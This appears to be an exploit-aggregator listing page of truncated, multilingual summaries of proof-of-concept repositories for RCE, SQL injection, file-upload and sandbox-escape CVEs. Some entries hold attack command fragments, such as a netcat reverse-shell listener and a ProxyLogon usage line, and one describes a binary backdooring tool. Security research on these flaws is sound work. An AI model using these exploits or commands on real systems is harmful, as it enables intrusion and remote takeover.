CVE-2026-40897

CVE-2026-40897 Ejecución Remota de Código en el Analizador de Expresiones de Math.js ★ CVE-2026-40897 Ejecución Remota de Código en Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Resumen CVE-2026-40897 es una vulnerabilidad de Omisión de Sandbox que...

CVE-2026-6815

CVE-2026-6815 PoC/Exploit: Casdoor 3.54.1 Path Traversal & Arbitrary File Write Authenticated This repository contains a Proof of Concept PoC exploit for CVE-2026-6815, an arbitrary file write and path traversal vulnerability in Casdoor. The vulnerability has been fixed in version 3.54.1...

CVE-2026-25253

CVE-2026-25253 OpenClaw 1-Click RCE ★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e Description CVE-2026-25253 : OpenClaw Authentication Token Exfiltration Vulnerability description: OpenClaw aka clawdbo...

CVE-2025-57819-exploit

CVE-2025-57819 — FreePBX 预认证 SQL 注入到远程代码执行 针对 CVE-2025-57819 的一体化利用工具，该漏洞是 FreePBX 端点模块中未经认证的 SQL 注入漏洞，可通过 cron 任务注入实现远程代码执行。 CVSS : 9.8（严重）— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CISA KEV : 2025 年 8 月 29 日添加 受影响版本 : Sangoma FreePBX 15、16、17，且端点模块版本 │ ▼ 向 cronjobs 表进行 SQL 注入...

ProxyLogon

ProxyLogon Python3 版 ProxyLogonCVE-2021-26855+CVE-2021-27065 Exchange Server 远程代码执行SSRF-获取WebShell root@kitploit: usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: target's address. --mail: exists user...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 root@kitploit: python3 -m http.server 80 启动一个 netcat 监听器 root@kitploit: nc -nlvp 4444 使用 CURL 发送请求 root@kitploit: curl...

CVE-2024-22274-RCE

Privilege Escalation: VMware vCenter Server Authenticated RCE 📜 Description The “com.vmware.appliance.recovery.backup.job.create” and the “com.vmware.appliance.recovery.backup.validate” API components are vulnerable to a flag injection attack that can be leveraged to execute arbitrary commands as...

ASUS-AiCloud-RCE

Origasus origasus.go 编译而成的 Go 程序，用于在授权安全测试或防御分析 （例如：自有设备、软件渗透测试实验室）范围内检查与 ASUS AiCloud / AsusWRT 相关的端点。 重要： 此类软件在未经授权的情况下针对系统使用，在许多国家是非法的 。仅在获得明确许可并在法律框架内运行。请勿在生产环境或第三方网络中未经授权进行扫描/利用。 背景 源代码头部注释中列出的相关参考信息（例如：CVE-2025-2492、CVE-2024-12912、CVE-2025-59366 以及厂商安全公告）可用于安全补丁和风险评估。该程序的目的是帮助安全研究人员和防御团队识别和...

l4j-info

l4j-info Compiling valuable links as I find them documenting CVE-2021-44228 or Log4J Critical First Party advisories: Existing Log4J 1.2 vulnerability CVE-2019-17571 is also potentially present Apache Log4J Version 2.x Security Information VMWare critical vulnerability advisory Cisco product...

CVE-2026-23918-poc

CVE-2026-23918 — Apache modhttp2 Double Free Affected: Apache HTTP Server 2.4.66 with modhttp2 + Event MPM Fixed in: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 HIGH — Unauthenticated Remote Code Execution possible CWE: CWE-415 Double Free What's the vulnerability modhttp2 in Apache 2.4.66 has a...

CVE-2026-5718

CVE-2026-5718 CVE-2026-5718: DnD Upload CF7 插件中的未认证文件上传至远程代码执行漏洞 CVE-2026-5718 — DnD CF7 文件上传 RCE 扫描器 插件: Contact Form 7 的拖放式多文件上传插件 插件标识名: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS 评分: 8.1（高危） CVSS 向量: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 漏洞类型: 未认证任意文件上...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - 未认证任意文件上传 描述： User Registration Advanced Fields = 1.6.20 - 未认证任意文件上传 描述 WordPress 的 User Registration Advanced Fields 插件（版本至 1.6.20 及以下）存在未认证任意文件上传漏洞，攻击者可借助 urafprofilepictureuploadmethodupload AJAX 操作进行利用。该插件在任何包含注册表单的页面上通过...

FOXCMS-CVE-2025-29306-POC

FOXCMS Parameter Injection RCE – CVE-2025-29306 This repository contains a Python-based PoC for a Remote Code Execution RCE vulnerability affecting FOXCMS v1.2, a Chinese open-source content management system. CVE-ID: CVE-2025-29306 Affects: FOXCMS v1.2 Type: Service Parameter Injection → Code...

CVE-2022-36446-Webmin-Software-Package-Updates-RCE

一个用于在 Webmin 1.997 上利用 CVE-2022-36446 软件包更新 RCE（已认证）的 Python 脚本。 功能特性 支持 HTTP 和 HTTPS（通过 --insecure 甚至支持自签名证书）。 通过 --command 选项执行单条命令。 通过 --interactive 选项进入交互式控制台。...

CVE-2025-60751

CVE-2025-60751 PoC para CVE-2025-60751 Producto afectado: Geographiclib = v2.5.1 El artículo completo está disponible en https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html Descripción Se produce un desbordamiento de búfer en la pila cuando GeoConvert recibe una entrada...

react2shell-exploit

CVE-2025-55182 – React2Shell Next.js 中的远程代码执行 ⚠️ 免责声明 ：本文档仅用于教育和安全研究目的 。未经授权对您不拥有或未获得明确测试许可的系统使用这些技术是非法的 。 📋 目录 1. 概述 2. 工作原理 3. 安装与设置 4. 分步利用 5. 结果与影响 6. 缓解策略 概述 CVE-2025-55182 ，又称 React2Shell ，是一个影响使用以下功能的 Next.js 应用程序的严重漏洞： React 服务器组件（RSC） 服务器操作（Server Actions） 为什么危险？...

CVE-2026-40217-PoC

CVE-2026-40217 — LiteLLM Guardrail Sandbox Escape LiteLLM POST /guardrails/testcustomcode — Sandbox Escape leading to Remote Code Execution RCE as root in default Docker deployment. Field| Value ---|--- CVE| CVE-2026-40217 CVSS| 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE| CWE-913...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Markdown Webmin 1.580 RCE Execution Guide Quick reference for executing authenticated Remote Code Execution RCE on Webmin 1.580 via the /file/show.cgi component. 1. Attack Machine Listener Run this command on your local machine to catch the incoming connection before executing the payload:...

CVE-2023-25136

CVE-2023-25136 Escaneo masivo y exploit de la vulnerabilidad OpenSSH 9.1 Descripción El servidor OpenSSH sshd 9.1 introdujo una vulnerabilidad de doble liberación durante el manejo de options.kexalgorithms. Esto se corrigió en OpenSSH 9.2. La doble liberación puede ser aprovechada por un atacante...

the-backdoor-factory

The new version of BACKDOOR FACTORY is available! Get access here: https://github.com/sponsors/secretsquirrel WARNING: Pull Requests WILL BE IGNORED AND CLOSED. The Backdoor Factory BDF For security professionals and researchers only. The goal of BDF is to patch executable binaries with user...